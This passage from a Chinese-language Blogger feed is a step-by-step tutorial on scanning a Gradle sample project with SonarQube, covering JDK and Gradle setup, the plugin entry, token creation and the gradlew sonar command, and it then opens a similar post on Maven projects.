width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-344460938178869093</id><published>2023-10-02T15:43:00.002+08:00</published><updated>2023-10-02T15:43:44.494+08:00</updated><title type='text'>以SonarQube掃描Gradle專案源碼</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(208, 250, 88); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot; target=&quot;_blank&quot;&gt;SonarQube&lt;/a&gt;
&lt;span face=&quot;Arial, Tahoma, Helvetica, FreeSans, sans-serif&quot; style=&quot;background-color: white; color: #333333; font-size: 14.85px; text-indent: 29.7px;&quot;&gt;是一套白箱掃描工具，本例使用開源免費的Community版&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;本，有關安裝方式可參考「&lt;a href=&quot;http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html&quot; style=&quot;color: #992211;&quot; target=&quot;_blank&quot;&gt;在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）&lt;/a&gt;」一文。&lt;/span&gt;&lt;/p&gt;
 &lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;本文以SonarQube提供的範例「&lt;a href=&quot;https://github.com/SonarSource/sonar-scanning-examples&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;&lt;/a&gt;&lt;span style=&quot;color: #bf9000;&quot;&gt;&lt;u&gt;sonar-scanning-examples-master\sonarqube-scanner-gradle\&lt;span style=&quot;background-color: #fcff01;&quot;&gt;gradle-multimodule&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;」做示範說明，置於「C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule」目錄下。若想掃描其他gradle專案，請依該專案環境、結構酌作調整，尤其工具及Java版本。&lt;/p&gt;
 &lt;p style=&quot;margin-bottom: 2px;&quot;&gt;&lt;b&gt;一、必要需求&lt;/b&gt;&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;(一)適合待掃專案的JDK&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;1.本例使用Java 13，筆者將它放置於C:\JAVA\jdk-13.0.2。&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;2.建立環境變數「JAVA_HOME」，讓它指向「C:\JAVA\jdk-13.0.2」。&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;3.在&lt;span style=&quot;color: red;&quot;&gt;PATH&lt;/span&gt;環境變數中加入「%JAVA_HOME%\bin」，讓作業系統可以找到javac.exe。&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;(二)gradle工具（用來建立 Gradle Wrapper）&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;1.至&lt;a href=&quot;https://gradle.org/releases/&quot; target=&quot;_blank&quot;&gt;Gradle官網&lt;/a&gt;&amp;nbsp;下載Gradle工具包，直接解壓縮到自選目錄，例如「C:\gradle\gradle-8.0.2」。&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;2.建立環境變數「GRADLE_HOME」，讓它指向「C:\gradle\gradle-8.0.2」。&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;3.在&lt;span style=&quot;color: red;&quot;&gt;PATH&lt;/span&gt;環境變數中加入「%GRADLE_HOME%\bin」，讓作業系統可以找到gradle.exe。&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 4em; text-indent: -1em;&quot;&gt;4.執行 gradle -v 確認gradle.exe可執行。&lt;/p&gt;
 &lt;div style=&quot;background-color: black; line-height: 100%; margin: 2px 2px 1em 0px; padding: 4px;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;gradle -v&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;
------------------------------------------------------------
Gradle 8.0.2
------------------------------------------------------------

Build time:   2023-03-03 16:41:37 UTC
Revision:     7d6581558e226a580d91d399f7dfb9e3095c2b1d

Kotlin:       1.8.10
Groovy:       3.0.13
Ant:          Apache Ant(TM) version 1.10.11 compiled on July 10 2021
JVM:          17.0.2 (Oracle Corporation 17.0.2+8-86)
OS:           Windows 10 10.0 amd64

C:\&amp;gt;&lt;/span&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;p style=&quot;margin-bottom: 2px; margin-top: 0px;&quot;&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt;&lt;b&gt;二、修改待掃專案的build. gradle，加入sonar scanner插件：&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;本例使用4.3.1.3277版插件，這裡可查詢&lt;a href=&quot;https://plugins.gradle.org/plugin/org.sonarqube&quot; target=&quot;_blank&quot;&gt;gradle可用的各版本sonar scanner插件&lt;/a&gt;，請選擇合適的版本。&lt;/p&gt;
&lt;div style=&quot;background-color: black; margin: 2px 2px 2px 0px; padding: 4px;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: white;&quot;&gt;plugins {
    ……其他的plugin……
    &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;// 為SonarQue加入適當版本的插件，參考建立Sonar掃描專案後，Sonar所提示的版本&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;id &#39;org.sonarqube&#39; version &#39;4.3.1.3277&#39;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;
}&lt;/span&gt;&lt;/pre&gt;
  &lt;/div&gt;
 &lt;p style=&quot;margin-bottom: 2px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt;三、執行掃描：&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)啟動SonarQube Scanner Server，假設位於「 &lt;span style=&quot;color: #cc0000;&quot;&gt;http://192.168.232.153:9000&lt;/span&gt;」&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;1. 由Projects頁面選擇「Create Project」-&amp;gt;「Manually」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s1573/sonar_net_003.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;246&quot; data-original-width=&quot;1573&quot; height=&quot;63&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/w400-h63/sonar_net_003.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;2.社群版只能選擇「Locally」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/s647/sonar_net_005.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;647&quot; data-original-width=&quot;440&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/w273-h400/sonar_net_005.PNG&quot; width=&quot;273&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/s700/sonar_net_004.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;549&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/w314-h400/sonar_net_004.PNG&quot; width=&quot;314&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;4.產生Project Token（專案身分代號）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/s815/sonar_net_006.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;613&quot; data-original-width=&quot;815&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/w400-h301/sonar_net_006.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;5.請記下Project Token&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/s846/sonar_net_core_007.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;563&quot; data-original-width=&quot;846&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/w400-h266/sonar_net_core_007.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;6.選擇要被掃描的專案類型（Gradle）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMb393hmPQJuXxcT0wqk8Q6i4m3iKXqodDEH3dtZoiuVvxJVElqXTuSA9vy2g8IxAO92pftbrUPVrIwPsSzYu_6F_hDRDzYMUBVWXGImaFzwEHm_CayPvJ1jmvM6eafNcSrPHmNZPQ-WYqidHjR_rOS0PzMtC8-_tlyas22vQS9jaP_AlnwiQk2NUQAi6u/s1577/gradle-01.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;691&quot; data-original-width=&quot;1577&quot; height=&quot;175&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMb393hmPQJuXxcT0wqk8Q6i4m3iKXqodDEH3dtZoiuVvxJVElqXTuSA9vy2g8IxAO92pftbrUPVrIwPsSzYu_6F_hDRDzYMUBVWXGImaFzwEHm_CayPvJ1jmvM6eafNcSrPHmNZPQ-WYqidHjR_rOS0PzMtC8-_tlyas22vQS9jaP_AlnwiQk2NUQAi6u/w400-h175/gradle-01.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
  &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(三)開啟命令提示字元，將工作目錄切換到待掃描的Gradle專案目錄，本例係位於C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule，此範例已自帶「gradle wrapper」。&lt;br /&gt;若您的專案目錄下&lt;b&gt;沒有&lt;/b&gt;「&lt;span style=&quot;color: red;&quot;&gt;gradle\wrapper&lt;/span&gt;」目錄，則需要&lt;span style=&quot;text-indent: -2em;&quot;&gt;於此專案目錄下執行「&lt;/span&gt;&lt;span style=&quot;color: #e69138; text-indent: -2em;&quot;&gt;gradle wrapper&lt;/span&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;」，完成後，會在此目錄下新增.gradle、gradle兩個目錄及gradlew、gradle.bat兩檔案。&lt;br /&gt;若待掃專案&lt;b&gt;已有&lt;/b&gt;.gradle、gradle兩個目錄及gradlew、gradle.bat兩檔案，可跳過此步驟。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(四)注意 gradle\wrapper\目錄裡&lt;span style=&quot;color: red;&quot;&gt;gradle-wrapper.properties&lt;/span&gt;&amp;nbsp;檔的 &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;distributionUrl&lt;/span&gt;&lt;/b&gt; 項目所指定之 gradle 版號（可至&lt;a href=&quot;https://services.gradle.org/distributions/&quot; target=&quot;_blank&quot;&gt;https://services.gradle.org/distributions/&lt;/a&gt; 查看所有版號），及所使用的JDK版本。&lt;br /&gt;若gradle service版號或JDK版本與待掃專案不匹配，建置過程會發生錯誤。&lt;/p&gt;
&lt;div style=&quot;background-color: black; color: white; line-height: 100%; margin: 2px 2px 1em 0px; padding: 4px;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#Tue May 19 06:55:41 BST 2020&lt;/span&gt;
distributionUrl=https\://services.gradle.org/distributions/gradle-&lt;span style=&quot;background-color: red;&quot;&gt;6.4.1&lt;/span&gt;-all.zip
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStorePath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(五)如果已完成項一及項二的要求，便可直接複製及執行SonarQube所提供的命令。&lt;br /&gt;由於此命令是Linux格式，本例是在Windows環境執行，需調整命令語句，將原始命的整理成單一列。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(六)執行過程如下所示(&lt;span style=&quot;color: #e69138;&quot;&gt;&lt;b&gt;橘紅色部分是我所執行的命令&lt;/b&gt;&lt;/span&gt;）&lt;/p&gt;
 &lt;div style=&quot;background-color: black; border: 1px dashed rgb(211, 84, 0); line-height: 100%; padding: 4px; word-break: break-all;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\sonar-scanning-examples-master\sonarqube-scanner-gradle\gradle-multimodule&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;gradlew.bat sonar -Dsonar.projectKey=Example-Gradle-Project -Dsonar.host.url=http://192.168.232.153:9000&amp;nbsp; &amp;nbsp;-Dsonar.login=sqp_99a6eebeda445bce288e94afae9aa409e7454d75&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;gt; Task :sonar&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;SCM provider autodetection failed. Please use &quot;sonar.scm.provider&quot; to define SCM of your project, or disable the SCM Sensor in the project settings.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;BUILD SUCCESSFUL&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt; in 39s&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;2 actionable tasks: 2 executed&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;lt;-------------&amp;gt; 0% WAITING&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;gt; IDLE&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;如果前面各步驟無誤，應該可以完成掃描，最後會看到「BUILD SUCCESSFUL」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAdcWGXBL6deMSo-lk67YG9XwZr8CdI5bpt298g1EwdhhVhDEEjlmFG6bLYcUJn_4ZQTHylZbHoRKV1HMADmdKBfWRT8nFLXkoG0K3QPHDpqCvbYQ8wUPs-j5lmcYaYzss3BP44YGBqwEpInEV2zvT3mLZt8DRjaMHOkJg5MsPre_7Ta4jSVCboxiKHE0s/s1600/gradle-02.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;438&quot; data-original-width=&quot;1600&quot; height=&quot;110&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAdcWGXBL6deMSo-lk67YG9XwZr8CdI5bpt298g1EwdhhVhDEEjlmFG6bLYcUJn_4ZQTHylZbHoRKV1HMADmdKBfWRT8nFLXkoG0K3QPHDpqCvbYQ8wUPs-j5lmcYaYzss3BP44YGBqwEpInEV2zvT3mLZt8DRjaMHOkJg5MsPre_7Ta4jSVCboxiKHE0s/w400-h110/gradle-02.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;

  &lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;
&lt;hr style=&quot;border: 2px solid rgb(14, 230, 34);&quot; /&gt;
 &lt;p style=&quot;margin-left: 1em;&quot;&gt;關於 dotNet Framework 專案的掃描，請參閱：&lt;a href=&quot;http://以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）&quot;&gt;以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）&lt;/a&gt;&lt;/p&gt;
 &lt;p style=&quot;margin-left: 1em;&quot;&gt;關於 dotNet Core 專案的掃描，請參閱：&lt;a href=&quot;http://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html&quot; target=&quot;_blank&quot;&gt;以SonarQube掃描dotNet Core專案源碼（白箱掃描）&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/344460938178869093/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/10/sonarqubegradle.html#comment-form' title='25 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/344460938178869093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/344460938178869093'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/10/sonarqubegradle.html' title='以SonarQube掃描Gradle專案源碼'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s72-w400-h63-c/sonar_net_003.PNG" height="72" width="72"/><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-7005363428724185101</id><published>2023-09-28T11:05:00.003+08:00</published><updated>2023-10-01T14:58:14.319+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>以 SonarQube 掃描 maven 專案源碼（白箱掃描）</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(208, 250, 88); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/?gads_campaign=SQ-Mroi-PMax&amp;amp;gads_ad_group=Global&amp;amp;gads_keyword=&amp;amp;_gl=1*va5gvw*_up*MQ..&amp;amp;gclid=CjwKCAjwmbqoBhAgEiwACIjzEI66FX1-IEadA5PhZD8AlOYcaDmlO2JNog-wx0y8seU7bEGnQSX7NBoCkNAQAvD_BwE&quot; style=&quot;background-color: white; color: #992211; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14.85px; text-decoration-line: none; text-indent: 29.7px;&quot; target=&quot;_blank&quot;&gt;SonarQube&lt;/a&gt;
&lt;span face=&quot;Arial, Tahoma, Helvetica, FreeSans, sans-serif&quot; style=&quot;background-color: white; color: #333333; font-size: 14.85px; text-indent: 29.7px;&quot;&gt;是一套白箱掃描工具，本例使用開源免費的Community版&lt;/span&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;本，有關安裝方式可參考「&lt;a href=&quot;http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html&quot; style=&quot;color: #992211; text-decoration-line: none;&quot; target=&quot;_blank&quot;&gt;在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）&lt;/a&gt;」&lt;/span&gt;
&lt;/p&gt;
 &lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;本文以SonarQube提供的範例「&lt;a href=&quot;https://github.com/SonarSource/sonar-scanning-examples&quot; target=&quot;_blank&quot;&gt;

&lt;span&gt;&lt;span style=&quot;color: #bf9000;&quot;&gt;sonar-scanning-examples-master\onarqube-scanner-maven\&lt;/span&gt;&lt;span style=&quot;background-color: #ffe599;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;maven-multilingual&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffe599;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/a&gt; 」做示範說明，若想掃描其他maven專案，請依該專案環境、結構酌作調整，尤其工具及Java版本。&lt;/p&gt;
 &lt;p style=&quot;margin-bottom: 2px;&quot;&gt;&lt;b&gt;一、必要需求&lt;/b&gt;&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;(一)maven&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 4em;&quot;&gt;到 &lt;a href=&quot;https://maven.apache.org/download.cgi&quot; target=&quot;_blank&quot;&gt;Apache Maven Project&lt;/a&gt; 下載合適版本的Maven（本例使用 maven-3.9.0），並&lt;span style=&quot;text-indent: 2em;&quot;&gt;解壓縮到自選目錄，例如「C:\maven\apache-maven-3.9.0」。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0px 2px 2px 4em;&quot;&gt;建立環境變數「&lt;span style=&quot;color: #cc0000;&quot;&gt;M2_HOME&lt;/span&gt;」指向「C:\maven\apache-maven-3.9.0」。&lt;/p&gt;&lt;p style=&quot;margin: 0px 2px 2px 4em;&quot;&gt;&lt;span style=&quot;text-indent: 2em;&quot;&gt;在&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000; text-indent: 2em;&quot;&gt;PATH&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-indent: 2em;&quot;&gt;環境變數中加入「%M2_HOME%\bin」，讓作業系統可以找得到mvn.exe。&lt;/span&gt;&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;(二)適合待掃專案的JDK&lt;/p&gt;
  &lt;p style=&quot;margin: 0px 2px 8px 4em;&quot;&gt;本例使用Java 11，位於C:\JAVA\jdk-11.0.2。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 2px; margin-top: 0px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt;二、修改待掃專案的pom.xml，加入sonar scanner：&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
 &lt;p style=&quot;margin: 0px 2px 2px 2em;&quot;&gt;如果不想修改待掃專案的POM.XML，可參考「三、執行掃描」的第(四)點。&lt;/p&gt;
